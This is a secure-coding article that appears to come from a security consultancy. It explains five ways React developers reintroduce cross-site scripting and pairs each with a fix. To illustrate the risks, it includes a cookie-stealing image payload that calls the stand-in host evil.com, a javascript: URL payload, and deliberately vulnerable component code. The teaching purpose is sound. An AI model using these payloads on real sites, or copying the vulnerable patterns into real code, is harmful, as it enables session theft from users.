React XSS Vulnerabilities: dangerouslySetInnerHTML and Beyond
React's Built-in XSS Protection
React's JSX automatically escapes values before rendering them to the DOM. This means React is safe by default for most XSS scenarios:
// SAFE — React escapes this automatically
function UserGreeting({ name }) {
return <h1>Hello, {name}!</h1>;
}
// Even if name = "<script>alert('XSS')</script>"
// React renders: Hello, <script>alert('XSS')</script>
But there are 5 common ways developers bypass this protection — and we find them in nearly every React codebase we review.
Vulnerability #1: dangerouslySetInnerHTML
The most obvious XSS vector — and the most common.
❌ Vulnerable Code
function BlogPost({ post }) {
// User-generated content rendered as raw HTML
return (
<article>
<h1>{post.title}</h1>
<div dangerouslySetInnerHTML={{ __html: post.content }} />
</article>
);
}
If post.content comes from user input (blog CMS, comment system, rich text editor), an attacker can inject:
<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
✅ Secure Code
import DOMPurify from 'dompurify';
function BlogPost({ post }) {
const sanitized = DOMPurify.sanitize(post.content, {
ALLOWED_TAGS: ['h1','h2','h3','p','a','ul','ol','li','strong','em','code','pre','img'],
ALLOWED_ATTR: ['href','src','alt','class'],
});
return (
<article>
<h1>{post.title}</h1>
<div dangerouslySetInnerHTML={{ __html: sanitized }} />
</article>
);
}
Vulnerability #2: href / src Injection (javascript: Protocol)
React does NOT block javascript: URLs in href attributes.
❌ Vulnerable Code
function UserProfile({ user }) {
return (
<div>
<h2>{user.name}</h2>
<a href={user.website}>Visit Website</a>
</div>
);
}
// Attack: user.website = "javascript:alert(document.cookie)"
✅ Secure Code
function sanitizeUrl(url) {
try {
const parsed = new URL(url);
if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
return '#';
}
return url;
} catch {
return '#';
}
}
function UserProfile({ user }) {
return (
<div>
<h2>{user.name}</h2>
<a href={sanitizeUrl(user.website)} rel="noopener noreferrer">
Visit Website
</a>
</div>
);
}
Vulnerability #3: Server-Side Rendering (SSR) XSS
In Next.js and other SSR frameworks, data serialized to the HTML payload can be exploited.
❌ Vulnerable Code
// Next.js page component
export async function getServerSideProps({ query }) {
return {
props: {
searchTerm: query.q || '',
},
};
}
function SearchPage({ searchTerm }) {
return (
<div>
<h1>Results for: {searchTerm}</h1>
{/* The SSR HTML includes the unsanitized searchTerm in the __NEXT_DATA__ script tag */}
</div>
);
}
While the JSX itself is escaped, the __NEXT_DATA__ JSON payload in the HTML source is a potential vector if the framework doesn't properly escape it (older versions were vulnerable).
✅ Secure Code
import { sanitize } from 'some-sanitizer';
export async function getServerSideProps({ query }) {
return {
props: {
searchTerm: sanitize(query.q || '').slice(0, 200), // Sanitize + length-limit
},
};
}
Vulnerability #4: Third-Party Rich Text Editors
Many React apps use rich text editors (Draft.js, Slate, TinyMCE, Quill) that output HTML.
❌ Vulnerable Pattern
// Save raw editor HTML to database
const handleSave = async () => {
await fetch('/api/posts', {
method: 'POST',
body: JSON.stringify({ content: editorHtml }), // Raw HTML from editor
});
};
// Render without sanitization
function DisplayPost({ htmlContent }) {
return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}
✅ Secure Pattern
Always sanitize on both save and render:
import DOMPurify from 'dompurify';
// Sanitize before saving
const handleSave = async () => {
const clean = DOMPurify.sanitize(editorHtml);
await fetch('/api/posts', {
method: 'POST',
body: JSON.stringify({ content: clean }),
});
};
// Sanitize before rendering (defense in depth)
function DisplayPost({ htmlContent }) {
const clean = DOMPurify.sanitize(htmlContent);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Vulnerability #5: URL Parameter Reflection via Markdown
If your React app renders user-supplied Markdown (e.g., in a docs system or comment section):
import ReactMarkdown from 'react-markdown';
// If allowDangerousHtml is enabled:
<ReactMarkdown children={userMarkdown} remarkPlugins={[]} rehypePlugins={[rehypeRaw]} />
Enabling rehypeRaw allows raw HTML in Markdown, which reintroduces XSS.
✅ Secure: Use rehype-sanitize
import ReactMarkdown from 'react-markdown';
import rehypeSanitize from 'rehype-sanitize';
<ReactMarkdown
children={userMarkdown}
rehypePlugins={[rehypeSanitize]}
/>
Prevention Checklist
| Rule | Action |
|---|---|
Audit all dangerouslySetInnerHTML | Ensure DOMPurify sanitization on every usage |
Block javascript: URLs | Validate protocol on all dynamic href/src |
| Deploy CSP headers | Add Content-Security-Policy: script-src 'self' |
| Use eslint-plugin-react | Enable react/no-danger rule |
| Sanitize Markdown | Use rehype-sanitize instead of rehype-raw |
| Escape SSR data | Validate/sanitize all getServerSideProps inputs |
Get a Professional React Security Review
We specialize in React and Next.js security code reviews. XSS is just one of many things we check — we also look for SSRF, IDOR, auth bypasses, and more.
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
XSS (Cross-Site Scripting) Prevention: Complete Guide 2025
Learn to prevent Stored, Reflected, and DOM-based XSS attacks. Includes real examples, OWASP prevention strategies, and Content Security Policy implementation.
Top 5 SQL Injection Mistakes in Django Apps (And How to Fix Them)
Django's ORM is safe by default — but developers still introduce SQL injection through raw queries, extra(), and cursor.execute(). Here are the 5 most common mistakes we find in real code reviews.
7 Security Mistakes Every Express.js App Makes in Production
From missing Helmet.js to unsafe deserialization — the most common security mistakes we find in Express.js applications during code reviews, with production-ready fixes.